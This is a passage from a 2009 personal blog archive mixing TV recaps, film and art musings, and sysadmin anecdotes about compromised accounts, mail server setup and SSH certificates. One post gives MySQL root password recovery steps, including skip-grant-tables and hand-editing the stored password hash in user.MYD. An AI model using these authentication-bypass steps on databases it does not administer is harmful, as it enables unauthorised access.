Several days ago I bemoaned the death of satire, but lest you forget what satire is:
Edie Oats, WI—First-year teacher Susan Potts was placed on unpaid administrative leave pending termination from her position at Forked Tongue Middle School for paying for a lunchtime snack with a Massachusetts state quarter.
“We have a strict zero-tolerance policy regarding firearms, and the Massachusetts quarter has a firearm depicted on it. A teacher, of all people, should know better than to bring such items on campus,” said Superintendent Stew Pid.
Pid was referring to the Ma ssachusetts quarter, released in 2000 as part of the US Mint's extremely popular 50 State Quarters Program. The Massachusetts quarter clearly shows a minuteman carrying a firearm.
“I thought all money was acceptable at school,” said Potts. “I just wanted a rice cake and gave the cafeteria lady some coins, one of which was the quarter in question. It never occurred to me to ‘screen’ my money, and I had no idea the cafeteria ladies were trained to look for people spending this particular quarter.”
Potts referred to a recently-instituted anti-violence program at school, the Cafeteria Workers Against Rotten Teachers Endorsing Rifles, or CWARTER.
“The CWARTER program is an effective anti-violence campaign implemented at all our schools,” according to Superintendent Pid. “We've trained all our cafeteria ladies to be on the lookout for money with weaponry on it.”
After spending the inappropriate quarter, Ms. Potts was placed on unpaid administrative leave. Next Tuesday she will plead her case before the school board, which is expected to terminate her employment immediately.
But the actual story being satirized is just as pathetic. And soon, teachers in Wisconsin will have to follow a policy about what they can and can't publish on their private Facebook page (no, really! Unless you're a member of Facebook, and are explicitely allowed by a fellow user, you can't see their page!).
Welcome to the Nanny State.
Governments aren't the only ones that are Balkanizing the Internet
It must have been, oh, 1993 or 1994. I had just logged into the computer in my office at college (a very sweet SGI Personal Iris 4D/35) when I noticed something rather odd—I was already logged in. Upon further inspection, it appeared I was logged in from Russia.
Oh. How nice.
I don't pick easy passwords (just ask Smirk—he bitches everytime I pick a new root
password that he has to memorize). They really are a random pick of letters, numbers and punctuation with no rhyme or reason.
And yet, here was someone in Russia, logged into my computer.
This was before ssh
was even released, so everybody either used rsh
(which I couldn't stand) or telnet
. And the problem with both was that passwords were passed across the network in plaintext. And that was the problem.
At the time, I was working in the Math Department. On the other side of the building you had the Geology Department. And I should mention that at the time, the second floor was wired for 10Base-2 (all computers on a network segment share a single communications wire—think of a party line for computers).
Unbeknownst to me (or in fact, most of the people in the second floor) someone in the Geology department had decided to install a Unix system, only they didn't quite realize what they were doing because they left the root account without a password! And because the network was 10Base-2, it was real easy for a hacker to install a network sniffer and grab passwords as they were sent across the network.
Not much to guard against that type of attack.
Fast forward ten years, and my account is again hacked. This time it was an inside job—that is, a server I was maintaining for a company had been hacked by someone in said company (not really “hacked” as in he obtained the passwords) and compromised (backdoors and password loggers installed).
And again, not much I could have done to guard against that type of attack, except maybe to not log into personal machines from a work machine.
Fast forward to today. Saw the following on an internal trouble ticket from P:
[New SSH-only server] hacked?
What is
/root/send/send.php
? Looks like some type of spamming script.
I check, and sure enough, my account had been compromised. And this on a new server installed, with the absolutely latest version of ssh
(compiled from source!) and only one of three programs running (syslogd
which wasn't listening for a network connection, and crond
, which doesn't listen on the network).
And there it was, sending out spam.
Nuke. Pave. Do not pass Go. Do not collect $200.00.
Sigh.
Tuesday, February 17, 2009
The Greylist Daemon: The “We only accept() invitations for 10 seconds” Version
Two quick notes.
One, the latest version of the greylist daemon has been released. 'Twas a small issue of bulk data transfers failing leaving a process that was hard to kill. And 'twas an easy fix (basically, don't ignore EINTR
when calling accept()
, and make sure we have a timeout on the call to accept()
).
Two, apparently the version of xsltproc
I have on lucy
doesn't like the XSL files for my site (as I found out when trying to update the software page), which means I have some hideous debugging to do (and if you've ever seen XSL, you'll know what I mean).
Wednesday, February 18, 2009
MTV's The Real World: “A Rat In The House”
I think (or rather, hope) we're at the halfway point with tonight's episode of MTV's “The Real World”—aka “A Rat In The House.”
Is it Devyn who is stringing along two men, David, her “semi-fiance” and Jim, her “um, friend?”
Is it JD who came up with the prank to put a rat in Devyn's bed?
Is it Chet, who was the one who actually put said rat in Devyn's bed? And later shames Devyn into picking one of her two men (she drops the “semi-fiance”).
Is it Ryan, who decides to take the same rat and put it in Sarah's bed?
Or could it be the pack of mice that have invaded the house?
It's like I've died and gone to high school. Or maybe a high schooler's perception of college.
Anyway, it's getting to be quite the chore watching this show week to week and realizing that unlike every other so called “reality show,” no one is getting voted off this particular island. And it might not be so bad, but the sole reason Bunny and I are watching this is to see Katelynn, and so far, there's very little Katelynn to be seen (although we did see more than we wanted of Katelynn in last week's episode). You almost forget she's there, and I have to wonder if she was aloof from the rest of the cast (or of the producers), or if she just didn't participate in enough “drama” to make good television.
And Bunny is completely convinced the entire show is scripted.
Perhaps it's the producer who's the rat.
Thursday, February 19, 2009
“Where have you gone, Milton Friedman, Our nation turns it's lonely eyes to you.”
A-XXXXXXX-men! (link via Instapundit)
No, really! Watch the whole half hour video of Milton Friedman rippping into Socialism with eloquence that President Obama could only dream about.
And if you don't have half an hour, here's two and a half minutes of Milton Friedman eloquently shredding Phil Donahue into pieces.
Wednesday, February 25, 2009
Yeah, but is it art?
Bunny and I went to the Boca Raton Museum of Art. Bunny was interested in seeing their current exhibitions, “Shock of the Real” and “Duane Hanson: Sculpture and Photographs 1978–1995.
Bunny had initially thought that the “Shock of the Real” was a photography exhibit, but instead it turned out to be a series of photo-realistic paintings by several artists. She was amazed at the level of detail until I told her that most of the paintings were probably done by projecting the image onto the canvas and traced (only a few were described as being done this way, but I suspect most of them were done that way), as many Renaissance artists are suspected of using the camera obscura. This upset her quite a bit.
You see, we'd been having a months long discussion on artistic endeavours, the use of tools and the necessity of talent in artistic expression, and even the actual definition of “art” (one of my art teachers in FAU defined art as “that which is useless for survival”—an apt definition when you think about it). It would be difficult for me to sum up the current state of our debate and our individual stances (Bunny was initially horrified at the very thought of Microsoft's Songsmith, yet I loved the idea, but she understands musical theory and I don't, and she's softening her stance on that particular piece of software; I loathe PHP, but I understand programming, yet PHP allows non-programmers the ability to create dynamic websites, which I think is pretty neat (but I still wouldn't want to work with such code)—told you it was difficult to explain, much less sum up).
She felt at first that the photo-realistic artists were cheating by tracing photographs in oil, acrylic or watercolors (and man, some of them were hard to tell from photographs up close), but I reminded her of my final project in Drawing I at college—a self portrait, I totally cheated. I photocopied my hand (it was on an older photocopier—high contrast black and white). I then smeared powered graphite over drawing paper, then “traced” the photocpy on a light box using an eraser. Not only did I get an “A” on the project, but it was later stolen out of my office at IBM when I worked there (not only did I create “art” but I've had my “art” stolen!). Bunny thought I took a novel approach though, and this, coupled with a few more hours of discussion, began to soften her opinion on the cheating photo-realistic artists.
We both found the Duane Hanson exhibit less controversial, although still very interesting.
MTV's The Real World: “The Responsible Party”
Yes, I'm still watching MTV's “The Real World.” And there were only two things that stood out in this week's episode: Katelynn and Ryan.
Katelynn, honey, I understand that Scott isn't your father, brother or boyfriend, but still, he is your roommate and it would behoove you to at least clean up your mess in the common areas. You do not come across well here (heck, none of the girls come across well in this episode). I'm just saying …
And second, Ryan. It wasn't Ryan per se, but his film class. I was amazed to hear that the film school was having the students film in 16mm, which I didn't agree with, and lead to a large discussion between Bunny and me (and became an extention of our art discussion).
I felt that the use of 16mm was a stupid choice as it's clear that everything is going digital. Standard commercial photography is pretty much all digital now, leaving Hollywood the primary user of 35mm film. I argued that yes, you still need to concern yourself with f-stops, color balance, composition, story (in the case of film) and editing, why bother with celluloid strips when it's clearly on the way out?
Bunny argued for film—don't you learn more about the craft by learning how it was done? And Hollywood still uses film, so why not learn about how it's currently done? And (to shift the argument away from things artistic) wouldn't learning assembly language, which isn't generally used any more, make one a better programmer?
She had a point. I countered that argument with the fact that assembly language is still there—regardless of the language used, the computer eventually executes machine code (for which assembly is just a thin abstraction) whereas digital filming replaces the celluloid strip for a CCD and a huge bank of memory, yet everything else (lenses, f-stops, focusing, color balance, editing, story) remains the same, so in that case, why learn something that won't be used any more? I don't know how to drive a car with a manual transmission, and in the twenty years I've been driving, it's never been an issue for me.
My point was further made when Ryan was shown editing his film on a computer and presenting a DVD to the instructor. So, obviously, the 16mm film he made was digitally transfered anyway. Bunny then said that the school probably had a ton of 16mm cameras, so why spend the money on digital cameras?
Other than those two points, the episode was there. The girls are slobs. The boys got upset. Furniture was broken. Phones thrown into the water. Angst. Angst. Angst.
Saturday, February 28, 2009
All I want to do is log in …
Gah! Computer security is annoying!
Due to some recent attacks, we've implemented some ad-hoc changes to network security until we can get something better into place. Right now, we're filtering all ssh
traffic on our routers, as well as on some individual servers, in addition to single packet authentication on one of our servers.
And I don't know what's more annoying—the script kiddies or our ad-hoc security measures.
I wasted today just trying to get this “single packet authentication” thingy working (since I need to work on “Project: Leaflet” and it would make my life a whole lot easier if I could log in directly) only to have it fail.
Miserably. (How miserably? I turned off the filtering on the router, the firewall on the physical server, the actual single packet authentication daemon, allowed anyone to log in via ssh
, and I still wasn't getting through. Aaaaaaaaaaaaaaaaaaaaaaahhhhhhh!)
Sunday, March 01, 2009
This is one reason I hate firewalls—they make troubleshooting network issues so much harder …
Yesterday's issues were partly caused by an issue with our upstream provider doing something to our TCP traffic, and now the single packet authentication is working.
Grrrrrrrrrr …
Monday, March 02, 2009
Using signed certificates with OpenSSH
A few months ago, I started playing around with secure certificates. I downloaded TinyCA, a simple interface to OpenSSL that's enough to run a simple certificate authority. Using that, I created a secure site (it's signed by my own certificate authority so you'll get a warning if you visit that page; if you don't want to get the warning and you trust me enough, you can install my certificate authority certificate and check the fingerprints).
Once that was done, I went further and protected a directory using signed certificates for client authentication (and you'll get a very cryptic error when you visit that link without installing the proper certificate). TinyCA makes the process painless to play around with this stuff (and for the curious, the configuration file).
Now, the recent mess with logging in via ssh
got me thinking. It would be nice if we (as in, The Company) could use secure certificates to log in via ssh
. Sure, we can generate key files to have password-less logins, but we have a few customers that also need ssh
access, and having a secure certificate would be nice. Not only could we set the expiration date, but we could also revoke the certificate should it be become necessary (a compromised account, non-payment of bills or an employee (heaven forbid) being let go).
Now, given that TinyCA is a basic frontend to OpenSSL, and that OpenSSH uses OpenSSL, I expected OpenSSH to have support for signed certificates.
Apparently not, but there is a patch for it. This is something I need to look into.
Update on Thursday, May 18th, 2023
https://secure.conman.org/
is no longer as all my sites are
now secure.
Wednesday, March 04, 2009
Bedtime for Bonzo
[The rant that was here has been removed, but don't worry—the sentiments expressed in this rant will be discussed at a later time. Suffice to say, I don't like change. —Sean][You can say that again. —Editor]
Insane “out-of-the-box” thinking
Last night's redacted rant (okay, technically very early this morning) had to do with a crisis of confidence at work (the proverbial straw last night was replying to a trouble ticket with a huge rant with some fairly strong language <cough cough> about package management systems and forgetting to tick the “staff only” option—oops) and wondering why Smirk even puts up with my curmudgeonly tendencies.
I guess I found out why today. Smirk called with a rather interesting problem. One of our clients lost the administrative password to MySQL and could we reset it? We didn't have the administrative password either. Smirk tried the “recommended procedure” in this case:
- Shutdown MySQL:
/etc/init.d/mysql stop
- Restart MySQL with an option to bypass authentication:
mysqld_safe skip-grant-tables &
- Reset the administrative password:
mysqladmin -u root password "newpassword"
(or some variation on this—there are several different ways to do this actually) - Shutdown MySQL—here you may need to find the process id and kill it, since you didn't use the startup scripts to start it.
- Restart MySQL using the startup scripts:
/etc/init.d/mysql start
only to fail in step three. That's when he called me.
I did get the password reset, which is what Smirk (and the customer) really wanted. What I did not do was:
- Shutdown MySQL:
/etc/init.d/mysql stop
- Create the text file
$HOME/mysql-init
with the following contents:UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES;
- Restart MySQL:
mysqld_safe --init-file=$HOME/mysql-init &
- Delete the text file:
/bin/rm $HOME/mysql-init
(as I found out after the fact). No, I think differently. I live on the edge. I do things the hard core way:
- Shutdown MySQL:
/etc/init.d/mysql stop
- Copy critical files:
/var/lib/mysql/mysql/user.* /tmp/
- Using a binary editor, zero out the administrative password in
the file
/var/lib/mysql/mysql/user.MYD
(told you I live on the edge, and yes, I used a binary editor I wrote for this—Muahahahaha!) - Restart MySQL:
/etc/init.d/mysql start
- Reset the administrative password for MySQL
I think Smirk keeps me around for my “out-of-the-box” (or is that “out-of-my-ever-loving-mind”?) thinking.
MTV's The Real World: “Work”
In this week's episode of MTV's The Real World “Work” we find Devyn (and to a small degree, Sarah) working for Jovani, Chet working as an interviewer and an interviewee, Baya (and to a small degree, Sarah) working out at dancing, Katelynn working to launch a website for a local commuity outreach center, Ryan working the guitar, JD working the camera for Chet, and Scott working hard to avoid any camera time whatsoever.
I think this episode answered my question temporal changes in editing as an incident that “happened” a month and a half ago—Baya turned down a chance to work with a hiphop dance troop and only now did someone ask her about it. So to me, it's clear that each episode of the show is “scripted” around a person (or persons) or a theme (as this week it seems to be “work”).
Katelynn, for the most part, is portrayed much better in this episode than last week, explaining more about the transgendered process she's going through. And Chet was quite likeable (and he pulls off wearing a bowtie for not being an economist), although his taunting of Kayelynn bugged me.
Monday, March 09, 2009
“Dünyayi Kurtaran Adam” (aka “The Turkish Star Wars”)
I'm 10 minutes into watching “Dünyayi Kurtaran Adam” and I'm speechless. In said ten minutes, we get about four minutes of, dare I say it, stock “Star Wars” footage (which amazingly enough, looks like stock footage taken in the 50s by the United States government) and minutes of exposition whereby we learn that the Earth has been blown up a few times, but still survives in pieces and that there's an enemy force out there trying to destroy the rest of humanity.
Then, using … um … stock “Star Wars” footage intercut and projected behind … um … native footage, we get this horribly confusing space battle where the good guys are flying around in Tie fighters and Star Destroyers (with the Death Star playing the part of “The Earth”) fighting the bad guys in Rebel transports, X-wing fighters and the Millenium Falcon.
I think.
It's all horribly confusing. And it seems that the two fighter pilots engaging the enemy are finally defeated, yet the bad guys lost because of a “brain shield” around the Earth.
I think.
I don't speak Turkish and the subtitles are a very amusing bit of.
Where translation some of is off another screen.
placed.
“Plan 9 From Outer Space,” for all it's continuity errors and cheap sets, is more coherent than “Dünyayi Kurtaran Adam.” Wierder still, my impression of the opening ten minutes don't quite match this impression of the film, but that's okay—it's Turkish translated into Engrish of a film that is seriously infringing upon copyright law.
Huh … had I watched the film for another 30 seconds, I would have seen our two intrepid fighter pilots weren't killed, but instead crashed on a desert planet. And frankly, I think the film would have been better served starting here than with the horribly confusing ten minutes of rear projected stock “Star Wars” footage.
Two more minutes, and at least they had the foresight (or the budget) to use a real desert wasteland than the rock quarries of Dr. Who. And man, the dialog alone is great (I know the two characters are Murat and Ali, although I'm not sure which one is actually which, so I'm arbitarily picking here):
- Murat
- We must know where we are. Otherwise here we may die in a famine and thirst.
- Ali
- I am tired like a dead. Let's rest a while.
- Murat
- This is what they want. Once we drop down we are done.
- Ali
- Would you condemn me if I tell you that I'm affraid [sic]?
- Murat
- Be afraid but don't show it.
- Ali
- Why?
- Murat
- Maybe we crashed on a planet inhabited only by women. They could be testing us to check which of us
- Murat
- is more courageous.
- Ali
- Then I take the lead.
- Murat
- But don't forget to inflate your chest.
(That's not all you better inflate. Thank you! I'll be here all week! Try the veal! Don't forget to tip your waiter)
Man … bad cinema … no, scratch that … bad foreign cinema!
Pass the popcorn.
One should not see how the sausage is made.
While I'm on the subject of entertainment that's so bad it's actually entertaining, I forgot to mention a particular episode of UFO Hunters about a small patch of Nevada known as Area 51.
Bunny recorded the show (watch it while you can before it's taken down) and it was amusing, but for me, it wasn't anything I didn't know before. Really, I only watched it because Glenn Campbell was on the show; far more fascinating than the show was the show behind the show and just how ridiculous a hike up a mountain with a camera crew really is. On screen you see two people, the host, and Glenn. And since you're seeing it, there's obviously the camera man. But in reality there were a total of 15 people on that hike, most lugging tons of camera, sound and lighting equipment.
Quite amusing really.
I'm reminded of all this because Glenn is fact checking the UFO Hunters on their presentation of Area 51. And as he reminds us:
The recent Area 51 episode of UFO Hunters was fine entertainment, but let's make it clear: This was not journalism. It was never intended as journalism, so don't get your knickers in a bunch about factual accuracy. It's only a TV show, designed to appeal to a certain market and sell advertising.
Tuesday, March 10, 2009
Wheeeeeeeee!
The Ticket Comment Du Jour™:
Thanks for your help. This was truly bizarre. You'd think the people working WWW backbone would be doing top jobs now to keep their jobs, but apparently everyone was out to lunch this week.
And if you don't get why this is the Ticket Comment Du Jour™ be glad you don't work as part of the WWW backbone (but a bit more context for those interested: DNS propagation issues).
From the “I'm doing this so you don't have to” department …
I should know better. But alas, one of the latest virtual gewgaws a friend sent me via MyFaceSpaceBook intrigued me enough to click on it. Yes, sign me up for this MyFaceSpaceBook “application” and okay, I see what it is. Fine. But right at the top of the page I see:
(2) of your Friends Challenged you at the IQ Quiz
(1) of them thinks you are dumb!Accept Challenge
Alright, fine. I'm curious.
Click.
I'm taken off MyFaceSpaceBook to some other website that's asking some very easy questions. I answer a bunch and have to type in my phone number to get to my results. No way I'm doing that, so it's “555-555-1212” and …
More questions. And one of the questions leads off to yet another site asking questions. I answer all those questions, answer for my phone number as “555-555-1212” and got back “Thank you. We'll text your results.”
Heh. Good luck.
But the quiz that lead off to that quiz is still open. I type in my birthday, and then I have to fill in all this personal information. It didn't like my first name of “S”—apparently that's not a valid name. And it didn't like my address of “123 Main St., Boca Raton.” When I typed in the address of The Company, it somehow knew it wasn't a residential area and required an apartment number. Oh, and it didn't like my phone number, so I made one up (sorry to whomever that is).
Good lord!
Okay, fine.
Then a screen asking if I'm interested in any of the following optional promotional items, select “Yes” or ”No” for each one. I answer “no” to each one, and then I'm informed that I need to answer “yes” to at least one of them.
So much for optional.
I pick one (I think it was for a motorized wheelchair) and get yet another screen of “optional promotional items.” Same story, I have to select “yes” to one of them. A third page of “optional promotional items.” This time, I disable Javascript so I can answer ”no” in peace. Next page comes up saying I need to enable Javascript and a “submit” button, and nothing else.
I can't get past this screen, so I re-enable Javascript, and hit
“submit.” Now I get a page asking for my preference for cancer
sticks cigarettes (really? Did I say “yes” to cigarettes?).
Sorry, I don't have one. I de-select the “I certify that I am of legal age” checkbox and hit submit. I then get the following:
There were errors in your submission:
- The 'Optin to Receive Mail' field is required
- The 'USUAL BRAND of cigarettes' field is required
- The 'Usual Brand Style' field is required
- The 'USUAL BRAND menthol?' field is required
- The 'USUAL BRAND of cigarettes 2' field is required
Electronic Signature*
Please enter your name and address as they appear on your driver's license or official ID:
No! While yes, I am of legal age to consume tobacco products, I do not want to receive offers, premiums, and/or coupons from a tobacco company. And yes, I do understand that giving false information in order to accept these offers may constitute a violation of law, but I don't want the offers! I just want my results.
There simply is no way on this page to say “No thank you.” So therefore, I am unable to continue, and get my results.
Oh, and the quiz?
It's the “How Smart DUMB Are You?” quiz.
Sigh.
To my MyFaceSpaceBook peeps: I love ya, but I'm simply going to ignore all virtual gewgaws from now on. Just saying …
Wednesday, March 11, 2009
I'm a bit upset that they didn't cover Nine Inch Nail's “Head Like A Hole”
In his spare time, Gregory sings in a jazz band. Tonight, Bunny and I went to see him do his 'Ol Blue Eyes impression.
As far as I can remember, every opening act I've seen has been terrible, including tonight. The less said about the orchestral band that opened, the better (I see I have written “I've died and gone to a middle school recital” in my notes for the night; Bunny told me not to be so critical, and I shot back “Why is this better than Songsmith?” She conceeded that I did have a point).
The jazz band was excellent, and so was Gregory (he had his jazz hand techinque down cold), singing out the standards and getting half the crowd there up on the dance floor, and a fun time was had by all.
MTV's The Real World: “Delivery from Angst”
You know the drill. MTV. The Real World. “Delivery from Angst.”
The gang has to put on a show, but first Mickey Rooney Scott and Judy Garland Katelynn have to learn to work together.
Once the show is past (although not without some angst from JD and Chet), Scott and Katelynn have to realize they're not on the set of “War of the Roses.” Both appear to be reliving their high school years in this episode; Scott upset that Katelynn decided to work (as a go-go dancer) instead of coming to his birthday party; Katelynn is freaking out because she has no money what-so-ever, and thus has to work (although it would help if she actually got paid). Things go downhill from here.
This very special episode of The Real World eventually ends with Scott and Katelynn realizing their friendship is worth more than some angst, and Scott offers to help Katelynn through her financial troubles with a sizable loan.
Is this show over yet? Why hasn't anyone gotten voted off the island?
Why am I still watching?
Saturday, March 14, 2009
Because it's there
Bunny and I got up early today, way early, to head on down to Shark Valley for a 15 mile bike ride.
Why?
Because we're stupid, that's why.
Or masochistic.
Quite possibly both.
Anyway, this whole thing started a few months ago when Kurt first proposed the idea in January. Much to everyone's surprise, I decided to go along. At the time, Bunny suggested that I might want to try riding a bike a bit first, seeing how it's been almost twenty years since I last did any serious bike riding.
It didn't go well. Maybe
five four miles worth of riding around the neighborhood, and I
was practically dead. And surprised at just how hilly the streets are
around these parts of Chez Boca.
But the trip was put off. And bumped. And postponed. And delayed.
Until today.
Woot.
We arrived at Shark Valley at the ungodly hour of 8:30.
Kurt did warn us that the bicycle seats would become unconfortable towards the end of the ride, so Bunny made some seat cusions for our bikes. Unfortunately, they were too thick to be effective so we ended up not using them at all.
Now, the loop runs north/south, with the western edge (outbound, away from the visitor's center) a straight seven miles long, and the eastern edge (inbound, back to the visitor's center) a curvy eight miles. And on Google Maps, it doesn't appear all that daunting.
But the map is not the territory.
The first half the ride wasn't bad. The road was flatter than paper and the wind was slowly blowing mostly across the path. Optimum biking conditions.
A few hours later, we arrived at the half-way point, an observation tower at the southern end of the loop. A nice sturdy structure with easy access to the main level.
We spent perhaps half an hour resting, munching on some snacks (walnuts, raisins, pretzels, mini-chocolate bars) and gulping down water. The view from the observation deck was impressive, but the stairs leading up to the very top were closed off for some reason—perhaps for safety.
The other half of the trip, the trip north back to the visitor's center was horrible. The bicycle seat suddenly got rock hard and I found it very difficult to sit down for any length of time. Shame, since the wind was now coming from slightly behind us, making it all the much easier to ride. In fact, the only thing that really hurt at this point was my butt. My legs? Fine. Back? Fine. Butt? Screaming at me to get the XXXX off the seat.
I was never so glad to see the parking lot after eight long miles.
“Pain? Try aspirin.”
Oh My God! The Pain! The Pain!
Aieeeeeeeeeeeeeeeeeeeeee!
Monday, March 16, 2009
I'm now down to whimpering and silently sobbing to myself
I'm feeling better now. Plenty of water, aspirin and the constant shots of morphine have done me well. The pain has now subsided enough that I can drag myself around the house without the screams of agony.
Wednesday, March 18, 2009
MTV's The Real World: “Saving Private Ryan”
Another Wednesday, another MTV's The Real World and another week where I ask myself, again, why I'm even bothering to watch the show anymore. Ostensibly, it's because Katelynn, who I know, is on the show, but she gets so little screen time that frankly, I wouldn't miss much if I didn't watch the show.
But I did, and if I'm suffering, so are you.
So, this week: “Saving Private Ryan (how about that—MTV's title is better than anything I could come up with).
As if we couldn't see this happening from a mile away (Bunny: “the show is scripted! Scripted, I tell you!”) Ryan, just after Election Day (although frankly, the temporal liberties they take, only the cast know for sure when this happened) gets a call from his brother that “The Paperwork” has arrived—his orders calling him back into service.
There's also Ryan's film “No More Tomorrow,” which the less said, the better (“bad” comes to mind, so does “cliché” and “predictable”). And I'm sure that if Ryan didn't have a girlfriend, he and Baya would have become “roommates” by now (that is, if they haven't already).
The real shock this week was that Chet and Scott both came out of the closet. Chet wasn't so surprising really, but Scott? Republican? It's amazing that both of them weren't lynched in a predominately pro-Obama household. I give them both kudos for coming out on national television.
Tuesday, March 24, 2009
Rube Goldberg would have love modern software development
“In a system of a million parts, if each part malfunctions only one time out of a million, a breakdown is certain.”
Stanislaw Lem
“Project: Leaflet” is a web based application written in PHP, so there's a dependency on a webserver (in our case, Apache) and PHP itself. There's also a database involved, so throw in MySQL, and, oh heck, Linux to run the whole mess, and you have a pretty standard LAMP stack going on.
Although in our case, we use PostgreSQL (and yes, I have two active versions of “Project: Leaflet”) so that means we have a pretty standard LAPP stack going on.
Now, “Project: Leaflet” is designed to help manage mass emails, like a
newsletter, or a product announcement, or perhaps to notify customers of an impending company name
change, so it requires an SMTP server of some sort. At first we used whatever
SMTP server came
with the distribution of Linux we used (at first sendmail
but now we also use
postfix
).
Then came the automatic handling of bounced emails, which meant a bit more involvement with the SMTP server (sending emails to a particular address to a program). It also meant parsing the incoming message and given that there really isn't a standard for bounce messages (or rather, quite a few, take your pick) the stock configuration for the SMTP server wasn't going to cut it anymore.
First off, we needed to enable address
extensions, and at least under postfix
, that's just adding
one line to the configuration, but it's still a change from the default
install (such a configuration may be enabled by default under
sendmail
, but we don't run “Project: Leaflet” with
sendmail
, so it's a moot point). The point of the address
extension is to encode the outgoing email address in our return address so
we don't actually have to parse the body of the bounce.
It also helps with handling confirmation replies.
But there's still the issue of parsing the headers from the incoming
email, and well, I know procmail
, and I know that's what
it's there for, to help in dealing with incoming emails. I mean, it's there
right? (Well, actually, not by default any more. And that means yet more
changes to the SMTP configuration to enable procmail
processing). And yes, the syntax is horrible, but it's the very model of
clarity compared to some other syntaxes you come across on a Unix system
(like, oh, sendmail.cf
anyone?).
So now the dependencies for “Project: Leaflet” are: Linux, Apache,
PostgreSQL, PHP, sendmail
or postfix
(with some
custom configurations) and procmail
.
Oh, and then there's the change from a few weeks ago, where I made it such that a single copy of the code can serve multiple instances (clients) on a single server. I did that not to save disk space (heaven's no! The uncompressed source code doesn't even come close to a megabyte of disk space) but administrative overhead—I can update the code in one location per server instead of, say, 25 individual copies.
But that necessitated some changes in layout and assumed locations of files and well … let's just say that while a company could take our code base (and at one point the topic of releasing the code as Open Source™ did come up), it's less and less likely that an average website owner would be able to install this program, given the dependencies and somewhat custom configurations made thus far.
Now, this version (the “Install Once And Use Everywhere On A Server” version) mandated yet another “feature”—support of a per-client IP address.
We have the IP addresses. No problem there.
And Linux supports multiple IP addresses. No problem there.
And Apache supports multiple IP address. No problem there.
sendmail
/postfix
support multiple IP addresses. No probl—
Uh … hold on a second …
Er, mu.
Incoming email isn't an
issue—sendmail
/postfix
can be set up to listen
on all interfaces. It's outgoing email that's an issue.
See, it's all too easy for certain ISPs to blacklist IP addresses that send an excessive amount of spam (and that happens to us all the time), so if that happens, we want the customer's assigned IP address to get banned, and not the IP address of the server (otherwise, all our customers on said server have “an issue”).
But, when sendmail
/postfix
send email, they use
the default server IP address,
which isn't what we want.
So, mu.
After some searching, we found that exim will do what we want (great! Yet
another SMTP server we need to learn and support), but not out
of the box (nor will it support address extensions, virtual hosts or
procmail
, so there're quite a bit of configuration changes going
on).
So, this little PHP app I wrote requires Linux, Apache, PHP (of course),
PostgreSQL, exim
and procmail
. Talk about your
debugging nightmare.
Today, I spent several hours tracking down an issue where emails were
being sent out via the server's primary IP address and not the client's IP address. That meant I had to track
the issue through half the chain there, PHP, exim
and
procmail
. I ended up chasing (now that I look at it after the
fact) a potential red herring.
The problem was compounded by the fact that it worked for the test
account.
I fixed the issue by replacing the call to the PHP mail()
function (which calls the external program sendmail
—which
isn't really sendmail
but a simple replacement
provided by exim
, which injects the email directly into the
outgoing queue) with a bunch of PHP code that talks to the local email
server via SMTP.
That worked. Only later, I realized that the client was using the incorrect email address for sending emails, which was probably why the primary IP address was showing up when it shouldn't (and if that makes no sense to you, Welcome to My World!).
It certainly feels as if the modern web development world is held together with chewing gum and bailing wire (and we're all out of chewing gum) and nobody really understands what's going on underneath the covers (and frankly, are as scared of it as they are of seeing how sausage is made).
Wednesday, March 25, 2009
It's nice to see Joe Lo Truglio's career finally take off …
I've mentioned before that my friend Hoade made some films with actor Joe Lo Truglio when they were kids, but I just read the following on my MySpaceFaceBook page from Hoade's sister:
Joe Lotruglio fans—check out Carson Daly show tonight. Sean said they'll show the movies Sean & Joe made together as kids, with me as the “scared townfolk.”
That “Carson Daly show” would be Last Call with Carson Daly, but warning—it's on late, so fire up the DVR.
MTV's The Real World: “Viva Lost Wages”
MTV.
Yo, word! It's Wednesday. Time for “Viva Lost Wages”, Real World style.
Half the episode the cast spent worrying about saving Ryan's privates as he heads back towards Iraq, and the other half of the episode the cast spent all their money at an Atlantic City casino. It was especially upsetting to watch Katelynn blow over $600 at the blackjack tables, given how Scott saved her financially two weeks ago (show time).
Devyn, too young to actually lose her wages at the casino, lost her mind instead when she got a lapratdog, so, you know, she could be responsible and stuff. The only person who didn't lose anything was JD, who won about $3,000 as a slot zombie.
This show had better end soon, as by now, I would have voted everybody off the island, except for Scott, who seems to be the only genuine person there.
Thursday, March 26, 2009
Bummer
Well, Bunny and I watched “Last Call with Carson Daly, all mind-numbing thirty minutes of it.
No movies made as a kid. Heck, no Joe Lo Truglio. We checked the site, and yes, he was supposed to show up on Wednesday, but seeing how it technically was Thursday, perhaps that's why. But Thursday's show is yet to be announced, so we'll be recording that show, just in case Joe got bumped.
From gray skies to grey skies, using git.
This tutorial, then, will take a conceptual approach to Git. My goal will be, first and foremost, to explain the Git universe and its objectives, and secondarily to illustrate how to use Git commands to manipulate that universe.
Understanding Git Conceptually
I came across this wonderful explanation of git
. Reading through that helped clear
up some aspects of git
and I found myself merging and clearing
out a bunch of dead branches of my greylist daemon.
I then kept going, and decided to clean up the code a bit, by changing every occurance of “gray” to “grey” (yes, I can be a bit anal at times).
Which is a way to announce, the latest version of the greylist daemon (the “From Gray Skies to Grey Skies” version if you must know).
Friday, March 27, 2009
JAWS PARTY
Yup. “Last Call with Carson Daly bumped Joe Lo Truglio to tonight's show. It was an okay interview, but no homemade movies.
Joe did, however, plug his site where, if you poke around you will find the films of The Early Years (which, are amusing in that “middle school tastelessly amusing” type of way—and yes, when we were kids we didn't have no fancy schmancy digital video recorders with THX Surround Sound Recording™ capabilities—nope, we had steeeenking 3′40″ of silent Super8 film and we liked it, up hill, both ways, in the snow!).
The animation is my friend Hoade all the way (who also makes a few appearances in this magnum opus, by the way, along with Hoade's sister).
Don't say I didn't warn you.
I swear I heard someone once say that control panels supposedly made things easier
Sigh.
Just received the following ticket:
Client uploaded their own work on the site and need to change the document root for the domain: XXXXXXXXXXXXXX
Please set it from “/var/www/html/” to “/var/www/html/app/webroot/”
The site is on: XXXXXX
No problem, right? Just go into the Apache configuration file and change
DocumentRoot
for the virtual domain in question. Trivial.
Only, the server the site is on has a <shudder> control panel on it, and whenever there is a <shudder> control panel involved, even the most trivial of changes suddenly involves rocket science [I thought I wrote about redirects involving a control panel, but I've yet to find an entry that does. Guess what's coming up next? —Sean]
Just for laughs, I decided to change DocumentRoot
on the
virtual site in question and make a change via the <shudder>
control panel and just as I expected, my changes did not survive
Insipid
's mucking about.
A few searches revealed this bit of wisdom:
